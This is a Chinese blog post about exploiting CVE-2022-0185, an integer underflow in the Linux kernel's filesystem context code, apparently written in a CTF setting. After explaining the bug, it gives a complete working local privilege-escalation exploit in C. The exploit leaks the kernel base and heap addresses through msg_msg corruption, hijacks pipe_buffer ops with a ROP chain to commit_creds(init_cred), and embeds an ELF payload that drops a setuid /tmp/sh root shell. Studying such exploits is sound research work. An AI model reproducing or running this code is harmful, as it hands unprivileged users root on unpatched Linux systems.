首页 > 其他分享 >CVE-2022-0185

CVE-2022-0185

时间:2024-11-01 18:46:54浏览次数:7  
标签:0185 0xc7 0x00 0x01 msg 2022 0x48 CVE size

这是一个关于整型溢出的CVE。

static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param) {
	struct legacy_fs_context *ctx = fc->fs_private;	// [1] ctx 与文件描述符相关
	unsigned int size = ctx->data_size;				// [2] size —— 目前已经写入 buffer 的长度
	size_t len = 0;
	int ret;
	[ ... ]
	switch (param->type) {
	case fs_value_is_string:
		len = 1 + param->size;						// [3] len = strlen(key) + 1 + strlen(value) 将要写入的长度, 对应到 mount option string key=value
	case fs_value_is_flag:
		len += strlen(param->key);
		break;
	default:
		return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported", param->key);
	}
	if (len > PAGE_SIZE-2-size) return invalf(fc, "VFS: Legacy: Cumulative options too large"); // [4] 边界检查, 避免溢出
	[ ... ]
	if (!ctx->legacy_data) {
		ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);	// [5] 首次分配 4096 字节缓冲区
		if (!ctx->legacy_data) return -ENOMEM;
	}
	ctx->legacy_data[size++] = ',';      			// [6] 开始往 buffer 写数据, 先写个逗号, 再写 key, 再写 等号, 再写 value, 最后结尾写 NULL, 保存新的size
	len = strlen(param->key);
	memcpy(ctx->legacy_data + size, param->key, len);
	size += len;
	if (param->type == fs_value_is_string) {
		ctx->legacy_data[size++] = '=';
		memcpy(ctx->legacy_data + size, param->string, param->size);
		size += param->size;
	}
	ctx->legacy_data[size] = '\0';
	ctx->data_size = size;
	ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
	return 0;
}

这是触发漏洞的函数,size每次都增加,会在 page_size-size-2发生溢出,由于size是unsigned类型,会下溢成一个极大数。

具体介绍可以看【kernel exploit】CVE-2022-0185 File System Context 整数溢出漏洞利用 — bsauce

本文主要介绍提权方法。

step1

泄露kbase。其实很明显,覆盖msg_msg->m_ts泄露stat,或者tty什么的也可以,一个kmalloc-4k的slab有8个object,为了防止一开始object布局乱起八糟的,我采用先分配8个msg_msg,再分配victim object,再分配8个msg_msg来泄露基址,覆盖的成功率很高,只是kmalloc-32的下一个不一定是stat,这一步成功的概率大概1/2。

当然,也和我固定取leak[510]有关,采用搜索的方法成功率应该解决100%。

 printf("[+] STEP1-------------------------------[+]\n");
    for(;i<7;i++){
        qu[i]=get_msg_queue();
        buf[5]=i+1;
        write_msg(qu[i],buf,4060,1);
    }
    fd = fsopen("ext4", 0);
    if(fd<0)err_exit("open ext4");
    printf("[+] start to overflow!!!\n");
    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    i=0;
    for (; i < 117; i++)fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    printf("[+] start to spray stat!!!\n");
    i=0;
    for(;i<0x100;i++){
        stat[i]=open("/proc/self/stat",0);
    }
    //1+21+1+1=24
    pat[21]='\x00';
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    i=7;
    for(;i<20;i++){
        qu[i]=get_msg_queue();
        buf[5]=i+1;
        write_msg(qu[i],buf,4060,1);
    }
    char* m_ts="\x60\x10\x00";
    fsconfig(fd,FSCONFIG_SET_STRING,"\x00",m_ts,0);
    //m_ts=0x2050
    i=0;
    for(;i<20;i++){
        memset(leak,0,10000);
        res=peek_msg(qu[i],leak,0x1060,0);
        if(res<0)err_exit("peek_msg");
        if(res==0x1060){
            kbase=leak[510]-0x1336770;
            break;
        }
        }
        //sleep(10);
    if(kbase==0||(kbase&0xfff)!=0){
        printf("[-] leak kbase false!!!\n");
        exit(0);
    }
    printf("[+] kbase:%lx;\n",kbase);

step2

这一步是泄露堆地址,因为我采用打pipe_buffer的方法,需要已知地址布置fake_ops。本CVE貌似开启了harden freelist,所以采用泄露msg_msg->next的方法来获取堆地址,构造kmalloc-1k-->kmalloc-64-->kmalloc-512的格局进行堆喷,泄露kmalloc-64上的msg_msg的next指针,其实只构造kmalloc-64-->kmalloc-512就可以了.......

 printf("[+] STEP2-------------------------------[+]\n");
    i=0;
    for(;i<8;i++){
        qr[i]=get_msg_queue();
        buf[5]=i+1;
        write_msg(qr[i],buf,4080,1);
    }
    fd = fsopen("ext4", 0);
    if(fd<0)err_exit("open ext4");
    printf("[+] start to overflow!!!\n");
    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    i=0;
    for (; i < 117; i++)fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    pat[21]='\x00';
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    i=8;
    for(;i<16;i++){
        qr[i]=get_msg_queue();
        buf[5]=i+1;
        write_msg(qr[i],buf,4080,1);
    }
    char* evn="\x50\x16\x00";
    fsconfig(fd,FSCONFIG_SET_STRING,"\x00",evn,0);
    printf("[+] start to spray heap_addr!!!\n");
    spray_msg();
    memset(leak,0,8000);
    i=0;
    for(;i<16;i++){
        res=peek_msg(qr[i],leak,0x1650,0);
        if(res<0)perror("peek_msg");
        if(res==0x1650){
            int j=0;
            for(;j<1000;j++){
                if(leak[j]==10){
                    pipe_ff=leak[j-2];
                    gadget=leak[j-3]+0x30;
                    break;
                }
            }
            break;
        }
    }
    if(pipe_ff==0){
        printf("[-] leak heap_addr false!!!\n");
        exit(0);
    }
    printf("[+] pipe_ff:%lx;\n",pipe_ff);
    printf("[+] gadget:%lx;\n",gadget);

很明显,我们要在kmalloc-512上布置fake_ops,当然,我采用pt_regs的方法,所以其实就是堆喷`add rsp`这个gadget就可以了。

step3

到提权了,我看原有exp貌似将msg_msg->next执行pipe_buffer-0x30来构造UAF,但感觉将msg_msg前两个指针搞烂了,应该容易报错,也没细看它是怎么绕过的。但其实我们能修改pipe_buffer大小,细节可以看我前一篇文章,我将pipe_buffer修改为kmalloc-4k,然后覆盖ops为之前泄露的kmalloc-512+0x30就好了,用msg_msg在kmalloc-512堆喷gadget。

printf("[+] STEP3-------------------------------[+]\n");
    printf("[+] start to spray pipe_buffer!!!\n");
    i=0;
    for(;i<30;i++)pipe(pipe_fd[i]);
    i=0;
    for(;i<10;i++)fcntl(pipe_fd[i][1],F_SETPIPE_SZ,0x1000*64);
    fd = fsopen("ext4", 0);
    if(fd<0)err_exit("open ext4");
    printf("[+] start to overflow!!!\n");
    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    i=0;
    for (; i < 117; i++)fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    i=10;
    for(;i<30;i++)fcntl(pipe_fd[i][1],F_SETPIPE_SZ,0x1000*64);
    char value[40];
    memset(value,0x41,40);
    memcpy(value+15,&gadget,8);
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", value, 0);
    printf("[+] STEP4-------------------------------[+]\n");
    printf("[+] start to spray gadgets!!!\n");
    close_msg();
    pop_rdi=kbase+0x10475ed;
    commit_creds=kbase+0x10c9f00;
    init_cred=kbase+0x286b7a0;
    add_rsp=kbase+0x18abf50;
    restore=kbase+0x1e00fb8;
    spray_gadget();
    printf("[+] start to hijack control flow!!!\n");
    i=0;
    for(;i<30;i++){
        close(pipe_fd[i][0]);
        __asm__(
            "mov r15,pop_rdi;"
            "mov r14,init_cred;"
            "mov r13,commit_creds;"
            "mov r12,restore;"
            "mov rbp,0xdeadbeef;"
            "mov rbx,0xdeadbeef;"
            "mov r11,0xdeadbeef;"
            "mov r10,0xdeadbeef;"
            "mov r9,0xdeadbeef;"
            "mov r8,0xdeadbeef"
        );
        close(pipe_fd[i][1]);
    }
    get_shell();
    return 0;

problem

现在问题是,执行无论system('/bin/sh'),execve('/bin/sh',0,0)还是signal注册一下,都会造成segment fault,不能长久uid==0。

其实改成system('cat /flag')能将flag读出来。

void get_flag_file(){
     unsigned char elfcode[] = {
        0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
        0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
        0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
        0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
        0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
        0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
        0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
        0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
        0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
        0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
        0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
        0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
        0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
        0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
        0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
        0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
        0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
        0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
        0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
    };
    FILE *fp;
    fp = fopen("/tmp/w", "wb");
    if (fp == NULL) {
        perror("fopen");
        return -1;
    }
    if (fwrite(elfcode, sizeof(elfcode), 1, fp) < 1) {
        perror("fwrite");
        return -1;
    }
    fclose(fp);

    system("chmod +x /tmp/w"); 
    return;
}

最后只能execve('/tmp/w',0,0),然后自己去执行/tmp/sh,能够让uid==0。

以下是完整exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)

struct list_head {
    uint64_t    next;
    uint64_t    prev;
};

struct msg_msg {
    struct list_head m_list;
    uint64_t    m_type;
    uint64_t    m_ts;
    uint64_t    next;
    uint64_t    security;
};

struct msg_msgseg {
    uint64_t    next;
};

/*
struct msgbuf {
    long mtype;
    char mtext[0];
};
*/

int get_msg_queue(void)
{
    return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}

int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}

/**
 * the msgp should be a pointer to the `struct msgbuf`,
 * and the data should be stored in msgbuf.mtext
 */
int write_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    ((struct msgbuf*)msgp)->mtype = msgtyp;
    return msgsnd(msqid, msgp, msgsz, 0);
}

/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    return msgrcv(msqid, msgp, msgsz, msgtyp, 
                  MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}

void build_msg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev, 
              uint64_t m_type, uint64_t m_ts,  uint64_t next, uint64_t security)
{
    msg->m_list.next = m_list_next;
    msg->m_list.prev = m_list_prev;
    msg->m_type = m_type;
    msg->m_ts = m_ts;
    msg->next = next;
    msg->security = security;
}


size_t user_cs, user_ss, user_rflags, user_sp;

void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void err_exit(char *msg)
{
        perror(msg);
        sleep(2);
        exit(EXIT_FAILURE);
}


void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void unshare_setup(uid_t uid, gid_t gid)
{
    int temp;
    char edit[0x100];
    unshare(CLONE_NEWNS|CLONE_NEWUSER);
    temp = open("/proc/self/setgroups", O_WRONLY);
    write(temp, "deny", strlen("deny"));
    close(temp);

    temp = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", uid);
    write(temp, edit, strlen(edit));
    close(temp);

    temp = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", gid);
    write(temp, edit, strlen(edit));
    close(temp);
    return;
}

void get_flag_file(){
     unsigned char elfcode[] = {
        0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
        0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
        0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
        0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
        0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
        0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
        0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
        0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
        0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
        0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
        0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
        0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
        0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
        0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
        0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
        0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
        0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
        0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
        0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
    };
    FILE *fp;
    fp = fopen("/tmp/w", "wb");
    if (fp == NULL) {
        perror("fopen");
        return -1;
    }
    if (fwrite(elfcode, sizeof(elfcode), 1, fp) < 1) {
        perror("fwrite");
        return -1;
    }
    fclose(fp);

    system("chmod +x /tmp/w"); 
    return;
}

char* sh="/bin/sh";

void get_shell(){
    if(getuid()==0){
        printf("[+] success!!!\n");
        execve("/tmp/w",NULL,NULL);
    }
    else{
        printf("[-] something wrong");
    }
}

int kk[100];

void spray_msg(){
    char buf[10000];
    int j=0;
    for(;j<100;j++){
        kk[j]=get_msg_queue();
        write_msg(kk[j],buf,800,1);
        write_msg(kk[j],buf,10,2);
        write_msg(kk[j],buf,400,3);
    }
    printf("[+] 1k-->64-->512 constructed!!!\n");
}

void close_msg(){
    char buf[10000];
    int j=0;
    for(;j<100;j++){
        read_msg(kk[j],buf,800,1);
        read_msg(kk[j],buf,10,2);
        read_msg(kk[j],buf,400,3);
    }
    printf("[+] msg_msg has been closed\n");
}

int fd;


size_t init_cred;
size_t commit_creds;
size_t pop_rdi;
size_t heap_addr;
size_t add_rsp;
size_t restore;
size_t buf[0x500];
size_t kbase=0;
size_t pipe_ff=0;
size_t gadget=0;
int stat[0x100];
char pat[300]={0};
int qu[20];
int qr[16];
int res;
int i=0;
size_t leak[2000];
int pipe_fd[30][2];

void spray_gadget(){
    int gt[4096];
    size_t cover[56];
    int j=0;
    for(;j<56;j++)cover[j]=add_rsp;
    int i=0;
    for(;i<4096;i++){
        gt[i]=get_msg_queue();
        write_msg(gt[i],cover,400,1);
    }
    return;
}

int main(){
    get_flag_file();
    signal(SIGSEGV,get_shell);
    bind_core(0);
    save_status();
    unshare_setup(getuid(), getgid());
    printf("[+] STEP1-------------------------------[+]\n");
    for(;i<7;i++){
        qu[i]=get_msg_queue();
        buf[5]=i+1;
        write_msg(qu[i],buf,4060,1);
    }
    fd = fsopen("ext4", 0);
    if(fd<0)err_exit("open ext4");
    printf("[+] start to overflow!!!\n");
    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    i=0;
    for (; i < 117; i++)fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    printf("[+] start to spray stat!!!\n");
    i=0;
    for(;i<0x100;i++){
        stat[i]=open("/proc/self/stat",0);
    }
    //1+21+1+1=24
    pat[21]='\x00';
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    i=7;
    for(;i<20;i++){
        qu[i]=get_msg_queue();
        buf[5]=i+1;
        write_msg(qu[i],buf,4060,1);
    }
    char* m_ts="\x60\x10\x00";
    fsconfig(fd,FSCONFIG_SET_STRING,"\x00",m_ts,0);
    //m_ts=0x2050
    i=0;
    for(;i<20;i++){
        memset(leak,0,10000);
        res=peek_msg(qu[i],leak,0x1060,0);
        if(res<0)err_exit("peek_msg");
        if(res==0x1060){
            kbase=leak[510]-0x1336770;
            break;
        }
        }
        //sleep(10);
    if(kbase==0||(kbase&0xfff)!=0){
        printf("[-] leak kbase false!!!\n");
        exit(0);
    }
    printf("[+] kbase:%lx;\n",kbase);
    printf("[+] STEP2-------------------------------[+]\n");
    i=0;
    for(;i<8;i++){
        qr[i]=get_msg_queue();
        buf[5]=i+1;
        write_msg(qr[i],buf,4080,1);
    }
    fd = fsopen("ext4", 0);
    if(fd<0)err_exit("open ext4");
    printf("[+] start to overflow!!!\n");
    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    i=0;
    for (; i < 117; i++)fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    pat[21]='\x00';
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    i=8;
    for(;i<16;i++){
        qr[i]=get_msg_queue();
        buf[5]=i+1;
        write_msg(qr[i],buf,4080,1);
    }
    char* evn="\x50\x16\x00";
    fsconfig(fd,FSCONFIG_SET_STRING,"\x00",evn,0);
    printf("[+] start to spray heap_addr!!!\n");
    spray_msg();
    memset(leak,0,8000);
    i=0;
    for(;i<16;i++){
        res=peek_msg(qr[i],leak,0x1650,0);
        if(res<0)perror("peek_msg");
        if(res==0x1650){
            int j=0;
            for(;j<1000;j++){
                if(leak[j]==10){
                    pipe_ff=leak[j-2];
                    gadget=leak[j-3]+0x30;
                    break;
                }
            }
            break;
        }
    }
    if(pipe_ff==0){
        printf("[-] leak heap_addr false!!!\n");
        exit(0);
    }
    printf("[+] pipe_ff:%lx;\n",pipe_ff);
    printf("[+] gadget:%lx;\n",gadget);
    printf("[+] STEP3-------------------------------[+]\n");
    printf("[+] start to spray pipe_buffer!!!\n");
    i=0;
    for(;i<30;i++)pipe(pipe_fd[i]);
    i=0;
    for(;i<10;i++)fcntl(pipe_fd[i][1],F_SETPIPE_SZ,0x1000*64);
    fd = fsopen("ext4", 0);
    if(fd<0)err_exit("open ext4");
    printf("[+] start to overflow!!!\n");
    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    i=0;
    for (; i < 117; i++)fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    i=10;
    for(;i<30;i++)fcntl(pipe_fd[i][1],F_SETPIPE_SZ,0x1000*64);
    char value[40];
    memset(value,0x41,40);
    memcpy(value+15,&gadget,8);
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", value, 0);
    printf("[+] STEP4-------------------------------[+]\n");
    printf("[+] start to spray gadgets!!!\n");
    close_msg();
    pop_rdi=kbase+0x10475ed;
    commit_creds=kbase+0x10c9f00;
    init_cred=kbase+0x286b7a0;
    add_rsp=kbase+0x18abf50;
    restore=kbase+0x1e00fb8;
    spray_gadget();
    printf("[+] start to hijack control flow!!!\n");
    i=0;
    for(;i<30;i++){
        close(pipe_fd[i][0]);
        __asm__(
            "mov r15,pop_rdi;"
            "mov r14,init_cred;"
            "mov r13,commit_creds;"
            "mov r12,restore;"
            "mov rbp,0xdeadbeef;"
            "mov rbx,0xdeadbeef;"
            "mov r11,0xdeadbeef;"
            "mov r10,0xdeadbeef;"
            "mov r9,0xdeadbeef;"
            "mov r8,0xdeadbeef"
        );
        close(pipe_fd[i][1]);
    }
    get_shell();
    return 0;
        }

 

标签:0185,0xc7,0x00,0x01,msg,2022,0x48,CVE,size
From: https://blog.csdn.net/A13837377363/article/details/143420895

相关文章

  • 20222410 2024-2025-1 《网络与系统攻防技术》实验四实验报告
    1.实验内容1.12.实验过程2.1恶意代码文件类型标识、脱壳与字符串提取2.1.1使用文件格式和类型识别工具,给出rada恶意代码样本的文件格式、运行平台和加壳工具kali虚拟机通过file命令查看文件类型,这是微软Windows平台、英特尔80386处理器的一个32位PE文件,并且是GUI文件;脱壳......
  • 20222318 2024-2025-1 《网络与系统攻防技术》实验三实验报告
    1.实验内容1.1问题回答(1)杀软是如何检测出恶意代码的?①基于特征码的检测:杀毒软件会维护一个包含各种已知恶意软件特征码的数据库。当扫描文件时,杀毒软件会将文件与数据库中的特征码进行比对,如果匹配,就会标记为恶意软件。②启发式检测:启发式检测技术通过分析程序的行为模式来检......
  • 20222319 2024-2025-1 《网络与系统攻防技术》实验三实验报告
    1.实验内容1.1实验目的(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧正确使用msf编码器,使用msfvenom生成如jar之类的其他文件veil,加壳工具使用C+shellcode编程(2)通过组合应用各种技术实现恶意代码免杀如果成功实现了免杀的,简单语言描述原理,......
  • 关于visual stdio 2022代码在win11上运行异常缓慢的解决方案分享
        此篇博客记录笔者解决visualstdio2022运行c语言异常缓慢的解决方案。    起初我上网查资料得知可能是我的模块加载太多了,但是在禁用了额外的模块依然异常缓慢,我就继续查找资料,于是发现另一篇博客反应了和我一样的问题,他的解决方案是关闭联想自带的安全......
  • 20222409 2024-2025-1 《网络与系统攻防技术》实验三实验报告
    1.实验内容1.1本周学习内容1.1.1后门工具使用*Netcat:用于端口探测、局域网通信、文件传输,以及正向和反向连接的测试。*Meterpreter:作为Metasploit框架中的载荷模块,常用于溢出攻击成功后的控制会话,提供持久化的控制通道。*Veil-Evasion:Linux平台上的免杀工具,用于生......
  • 美亚杯2022个人赛复现
    2022美亚杯个人赛WP案情简介2022年10月,有市民因收到伪冒快递公司的电邮,不慎在犯罪嫌疑人架设的假网站上输入了个人信用卡资料,导致经济损失。经警方调查,发现其中一名受骗市民男子李大輝(TaiFai)的信用卡曾经被犯罪嫌疑人在市内的商店购物。后来警方根据IP地址,锁定及拘捕了一名......
  • 20222402 2024-2025-1 《网络与系统攻防技术》实验三实验报告
    1.实验内容本周学习免杀:英文为Anti-AntiVirus(简写VirusAV),逐字翻译为“反·反病毒”,翻译为“反杀毒技术”。一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。杀毒软件原理。免杀处理:对生成的恶意代码进行免杀处理,加壳。测试与验证:将处理......
  • 20222404张嘉月 2024-2025-1 《网络与系统攻防》实验三实验报告
    1.实验内容(一)本周所学恶意代码的简介、类别、代表性的恶意代码介绍,包括僵尸程序、后门攻击、蠕虫等等。历史上的恶意代码历史发展和所造成的影响与影响范围。介绍恶意代码的分析技术(静态、动态)(二)实验要求(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技......
  • 20222415 2024-2025-1 《网络与系统攻防技术》实验三实验报告
